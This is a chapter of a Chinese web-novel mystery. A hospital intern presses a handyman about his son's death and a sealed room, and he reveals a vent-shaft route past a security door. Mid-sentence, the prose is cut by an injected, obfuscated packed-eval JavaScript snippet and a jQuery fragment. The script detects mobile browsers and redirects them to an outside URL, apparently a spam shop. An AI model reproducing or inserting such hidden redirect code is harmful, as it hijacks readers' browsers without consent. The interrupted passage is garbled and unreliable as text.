余下的夜很安静。


    凌晨两点四十分，尤思从浅睡中醒来。


    值班室的灯光调得很暗，窗外的B区大楼只有几扇窗户还亮着。


    她没有做梦。


    只是忽然觉得，那个气味还在。


    那个味道不是浓烈的，而是像指纹留在玻璃上那样淡淡的。


    她不觉得这是错觉，明天天亮之时她一定要找到马德世，把一切给问明白。


    天亮来得很慢。


    尤思在六点二十分走出值班室，她寻找着来时的连廊。


    只是她惊奇地发现，她根本找不到，就连值班室门口的消防通道图上压根就没有画出那条交错的线。


    于是，她换了一条路。


    几乎是一路小跑的，她来到了花园的工具间门口。


    “咚咚”。


    尤思轻叩墙壁的第二块砖。


    门很快打开了，里面突然伸出一只手，将她一把拉了进去。


    速度快得吓了尤思一跳，那只手上全是水，也沾了尤思一手。


    “我们没有约好。”马德世重新走到水槽边，他看起来面色阴沉。


    “我不是来约日子的。”


    尤思径自坐在了原先坐过的那把椅子上。


    “而且，马师傅，你没有说过什么时候不可以找你。”


    马德世的手停了一下，扳手搁在水槽边缘，发出清脆的一声。


    他缓缓转身看向尤思，拿起旁边一块抹布，开始擦拭手上的污渍。


    “那来做什么。”


    “你儿子。”


    马德世擦手的动作顿住了，虽然只有一瞬间。


    然后他继续擦，把每一根手指都擦过一遍，抹布叠好，搭在水槽边缘。


    “马远，去年入职，后勤保障科实习生，三月进的医院，十一月出的事。”


    马德世没有否认，眼眸中闪过一抹惊讶。


    “你怎么会知道？”他低下头，侧眼盯着水槽底部那一小圈沉积的水垢。


    “我也是实习生。”尤思伸手指向自己胸前的工作牌。


    马德世沉默了。


    尤思在试探马德世的反应，但是她并没有得到自己想要的结果，他没有对自己全新的身份产生任何的震惊。


    工具间的日光灯闪了一下，马德世的侧脸在明暗交替里显得格外苍老。


    那些皱纹不是刀刻出来的，是如同水渍一层一层，在年复一年中，沉积成无法擦拭的痕迹。


    “他走之前三天，在这间工具间里。就是你现在坐的位置。”


    尤思只是听着，没有任何的恐惧。


    “他蹲在那儿整理消毒液库存，忽然站起来，问我，爸，你有没有闻过一种味道？”


    马德世的目光落在不远处的水管上，仿佛透过锈迹看见了过往的影子。


    “我说什么味道。他说不上来。就说不是消毒水，不是药，不是任何医院里该有的东西。他说那味道像……”


    他停了一下。


    “像有一年回老家，老房子太久没人住，推开门的那个空气。”


    尤思的后背靠在木头椅背上。


    潮的。冷的。混着胃酸。


    她闻过。


    “我当时说，那是霉味。老房子都那样。”马德世把声音压得很低，“他说不是。霉味是干的。这个是潮的。”


    “后来他去B区送东西，再后来，他闻不到了。”


    工具间里很安静。


    远处隐约传来推车轮子碾过地砖的声音，匀速的，规律的，似永不停歇的节拍器。


    尤思等了一会儿。


    “你那天晚上在B区。”


    这一次，她没有用问句。


    马德世没有否认，“我在。”


    “运什么？”


    沉默。


    “样本。”


    “什么样本？”


    马德世没有回答，他低着头，盯着自己的手。


    “你儿子死之前，”尤思说，“也有人说‘不知道比较好’吗？”


    马德世抬起头，“有。”他说。


    “我说的。”


    尤思没有接话，这个答案出乎意料。


    “他问我，爸，B区3层到底在做什么。我说没得事，就是普通病房。他说那为什么每次出来都觉得累。我说你实习期没过，不适应。他说不是累，是——”


    他停下，喉结滚动了一下。


    尤思追问，“是什么？”


    “是好像有东西留在里面了。”


    “他说每次出来，都觉得有一部分自己没跟着回来。”


    尤思想起监控画面里那一帧压缩失真，以及电子病历上那行没有署名的“系统自动校正”。


    “B3-S7。”


    马德世没有回答，但他也没有移开视线。


    那本身就是答案。


    尤思：“那间房里有什么？”


    马德世沉默了很久。


    久到日光灯又闪了一次，久到走廊外的推车声从近到远。


    马德世：“我不知道。”


    尤思的眼睛死死盯着他，没有挪开分毫。


    “你运过样本。从那间房。”


    “是。”


    “你不知道里面有什么？”


    马德世把抹布拿起来，又放下。


    “样本装在密闭容器里。标签只有编号和转运目的地。我不打开，不读取，不记录。”


    “这是规矩。”


    “谁的规矩？”


    又一次，马德世没有回答。


    尤思知道得不到答案，于是没有再追问，她换了一个问题。


    “他最后跟你说过什么？”


    马德世的手停在抹布上，很久。


    久到尤思以为他也不会回答这个问题了。


    最终，他还是开口了，“他说，爸，我好像闻到了。”


    尤思的心跳顿了一拍。


    “闻到了什么？”


    “就是那个味道。老房子的、潮的。他说之前只是偶尔闻到，那天一整天都在。他说……好像离他越来越近了。”


    马德世的声音很平，“我当时说，你太累了，回去睡一觉就好。”


    “他说，好。”


    “那是他跟我说的最后一句话。”


    工具间里没有声音。


    连日光灯的电流嗡鸣都消失了。


    尤思瞥见马德世的眼眶没有红，眼角也没有湿。


    他只是把手放在水槽的桌面上，很轻，像摸一个不会再醒来的人的前额。


    尤思：“我需要进那扇门。”


    “那不是你该去的地方。”


    “你儿子也不该去。”


    马德世的手微微收紧。


    “他去了，没回来。”


    “所以我得知道里面有什么。”


    马德世沉默了。


    尤思等了一会儿，她并不打算放弃。


    “你那天晚上在连廊看见我。你让我走。”


    “我是在让你走。”


    “现在呢？”


    马德世抬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158138|196145||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起头，他看着尤思。


    那目光很复杂。


    不是怀疑，不是拒绝。


    是某种磨损过度的，他曾经阻止过一个人进入那里，那个人后来再也没有回来。


    他阻止过。


    他没能阻止。


    他不知道哪一个是更正确的选择。


    “那扇门，”马德世还是开口了，“不是任何时候都能开的。”


    尤思没有催促。


    “B区三层的安全门。门禁卡权限至少A。我的卡只能进污物通道，进不了内走廊。”


    “但是那条通道里，有一个通风井。”


    尤思起身，离开那把嘎吱作响的木椅。


    “通风井连接三层和二层，是旧楼改造时留下的。后来装了检修口，平时锁着。”


    “检修口的钥匙，我有。”


    工具间里安静了几秒。


    “从检修口下去，可以绕到安全门内侧。那扇门是单向磁吸，从里面不需要刷卡。”


    尤思听见自己的心跳。


    “从进去到出来，多久？”


    “我不知道你要找什么。但无论找什么，不能超过十二分钟。”


    “再长会被发现。”


    十二分钟。


    尤思在心里反复确认这个数字。


    “什么时候可以进去？”


    马德世没有立刻回答。


    他从怀里摸出一个旧烟盒，抽出一根烟。


    没点。


    只是夹在指间。


    “B区有临时转运的时候，”他说，“走廊监控会切换成转运专用视角，持续十五分钟左右。那是检修口红外感应唯一会离线的时间段。”


    “下次转运，我会在第三排水槽放一片绿色标签。没有标签就是没有机会。”


    “你能提前知道转运时间吗？”


    马德世没有给出答案，只是把烟重新放回烟盒，再将烟盒放回了贴在胸口的位置上。


    “你应该回去了。”


    尤思走到门口，手停放在门把手上，她本想立刻离开，但又转身面向马德世。


    马德世似乎意识到了她的意图，“我确实不知道那是什么。”


    尤思质问着他，“我想知道，你明明可以到达那里，为什么还要让我去帮你调查？”


    “我进不去。而你能闻到。”


    “下次转运，”他说，“不知道是哪天。也许明天，也许下周。”


    尤思点头。


    “好的，我知道了。”她不再犹豫，打开门离开了工具间。


    她知道，马德世一定撒谎了。


    他肯定也能闻到那令他恐惧的气味。


    下一次转运的时候，第三排水槽会多一片绿色标签。


    十二分钟。


    她在心里反复确认这个数字。


    不是勇气，而是承诺。


    这次，尤思有点迟疑，自己究竟是否应该相信他。


    半年前的某一天。


    马远：“爸，你猜过那里面是什么？”


    “我猜，那里收着所有没能排出来的东西。”


    “什么东西是没能排出来的啊？”


    马远很喜欢追问，得不到答案就会一直问马德世。


    “是样本吗？”


    马德世回答地很平静，“不是。”


    “爸，你怎么会知道的？”


    马德世叹了一口气，“偶然听说的，你别多打听。”


    “所以是什么啊？”


    “……是人的一部分……”